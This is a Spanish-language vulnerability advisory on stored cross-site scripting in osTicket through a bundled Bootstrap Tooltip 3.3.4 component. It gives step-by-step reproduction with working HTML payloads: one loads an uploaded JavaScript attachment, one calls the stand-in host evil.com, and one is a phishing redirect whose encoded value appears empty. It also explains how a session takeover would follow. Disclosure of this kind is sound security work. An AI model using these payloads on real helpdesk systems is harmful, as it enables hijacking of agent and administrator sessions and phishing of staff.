
Cross-Site Scripting (XSS) Almacenado en osTicket mediante un Componente Bootstrap Tooltip Vulnerable
Las versiones de Enhancesoft osTicket desde la 1.10 hasta la 1.17.7 y desde la 1.18.0 hasta la 1.18.3 incluyen el componente conocido como vulnerable Bootstrap Tooltip 3.3.4 (CVE-2019-8331), que introduce una vulnerabilidad de Cross-Site Scripting (XSS) almacenado.
En la configuración predeterminada de osTicket, los remitentes de tickets ("usuarios") pueden enviar tickets sin autenticación previa, y el auto-registro de usuarios está abierto por defecto. Un usuario remoto puede crear un mensaje de ticket malicioso que, a pesar de pasar por el módulo de saneamiento HTML htmlLawed, provoca la ejecución de JavaScript arbitrario en el navegador de cualquier Agente o Administrador que lo visualice. Este problema se ve agravado por el hecho de que los archivos JavaScript subidos por el usuario se sirven con un tipo Content-Type de ejecución de JavaScript (text/javascript), lo que permite que sean interpretados como contenido activo por los navegadores. Si bien las cargas útiles inline están limitadas por la forma en que Bootstrap Tooltip 3.3.4 analiza el valor data-template en un objeto jQuery y lo inserta en el DOM mediante appendTo() o insertAfter(), ejecutar código controlado por el atacante como scripts externos evita estas limitaciones y permite una explotación más potente de la vulnerabilidad.
Probadas y confirmadas como vulnerables:
Versiones afectadas:
Este componente ha estado presente en el código fuente de osTicket desde el 13 de mayo de 2015, como se muestra en:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cEste commit está asociado con etiquetas de versión de osTicket que se remontan a la versión 1.10, lo que indica que el componente vulnerable Bootstrap Tooltip se ha incluido en una amplia gama de versiones de osTicket a lo largo de múltiples versiones principales. Esta inclusión a largo plazo sugiere firmemente que muchas versiones de osTicket publicadas durante varios años están afectadas.
osTicket es un sistema de tickets de código abierto muy utilizado que permite a los usuarios finales enviar contenido HTML enriquecido y archivos adjuntos como parte de la creación de tickets y las respuestas.
osTicket define tres categorías principales de usuarios:
Cualquier contenido HTML enviado por un Usuario puede ser renderizado posteriormente en el navegador de un Agente o Admin, lo que hace que las vulnerabilidades del lado del cliente sean especialmente impactantes.
Primero, autentíquese con su cuenta de usuario final y vaya a la página de creación de tickets. A continuación, cree un archivo JavaScript (ej.: test.js) que contenga una carga útil. Por ejemplo:
alert(123);
Nota: De forma predeterminada, osTicket permite adjuntar archivos a los tickets sin restricciones de tipo de archivo.

Luego envíe el ticket haciendo clic en "Create Ticket" sin proporcionar ningún "Issue Details".
La aplicación nos redirigirá de vuelta al formulario de envío de tickets con el error "Issue Details is a required field".
Esta página nos permite obtener un enlace de descarga para nuestro archivo JavaScript (test.js) sin enviar realmente un ticket.


Una vez que haya obtenido este enlace, regrese al formulario de envío de tickets.
Haga clic en el editor HTML y pegue esta carga útil, reemplazando el atributo src de la etiqueta script con el enlace obtenido anteriormente.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
A continuación se muestra un ejemplo de una carga útil completa, donde el patrón [LINK_HERE] ha sido reemplazado por el enlace obtenido anteriormente:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Luego envíe el ticket.

Cuando un administrador o agente ve nuestro ticket malicioso, la carga útil se activa.

Resultado: Cuando un administrador/agente abre el ticket malicioso, la carga útil JavaScript se carga y se ejecuta en el contexto de la sesión del administrador/agente.
Esto resulta en un XSS almacenado, que permite el compromiso total de la sesión (p. ej., mediante ezXSS, CSRF para realizar acciones de administrador/agente).
Si el ticket malicioso es visto por un Agente, el XSS almacenado se ejecuta en el contexto de la sesión autenticada del Agente.
Esto permite a un atacante tomar el control de la sesión del Agente sin necesidad de extraer la cookie de sesión (p. ej., incluso en escenarios donde la exfiltración de cookies no es práctica y se utiliza una plataforma blind-XSS como ezXSS). Una vez que el XSS se ejecuta, el atacante puede realizar cualquier acción que el Agente comprometido tenga permitido realizar, por ejemplo:
Esto resulta en un compromiso total de las capacidades operativas del Agente y de la confidencialidad/integridad del flujo de trabajo de tickets.
Si el ticket malicioso es visto por un Administrador, el impacto se eleva a un compromiso total de la aplicación. El atacante puede:
Aunque la configuración predeterminada de osTicket permite la subida de archivos JavaScript, osTicket puede configurarse en el Panel de Administración para que un usuario final no pueda subir archivos JavaScript.
Además, el Panel de Control del Personal utilizado por agentes y administradores aplica una Política de Seguridad de Contenido (CSP) que impide la ejecución de JavaScript proveniente de dominios de terceros. Tomemos como ejemplo la siguiente carga útil:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
La siguiente captura de pantalla muestra que la carga de un script desde https://evil.com fue bloqueada por la Política de Seguridad de Contenido aplicada en el Panel de Control del Personal.

Sin embargo, la Política de Seguridad de Contenido implementada en la aplicación permite JavaScript inline.

En el caso de que la subida de archivos JavaScript esté bloqueada, sigue siendo posible que un atacante realice acciones maliciosas. Consideremos la siguiente carga útil:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
La carga útil en Base64 se decodifica como:
<script>top.location = "https://example.com";</script>
Esta carga útil permite a un atacante redirigir a un agente o administrador que esté viendo el ticket malicioso a un sitio web arbitrario, por ejemplo, un sitio de phishing.
Aquí está el resultado después de ver un ticket que contiene la carga útil anterior.
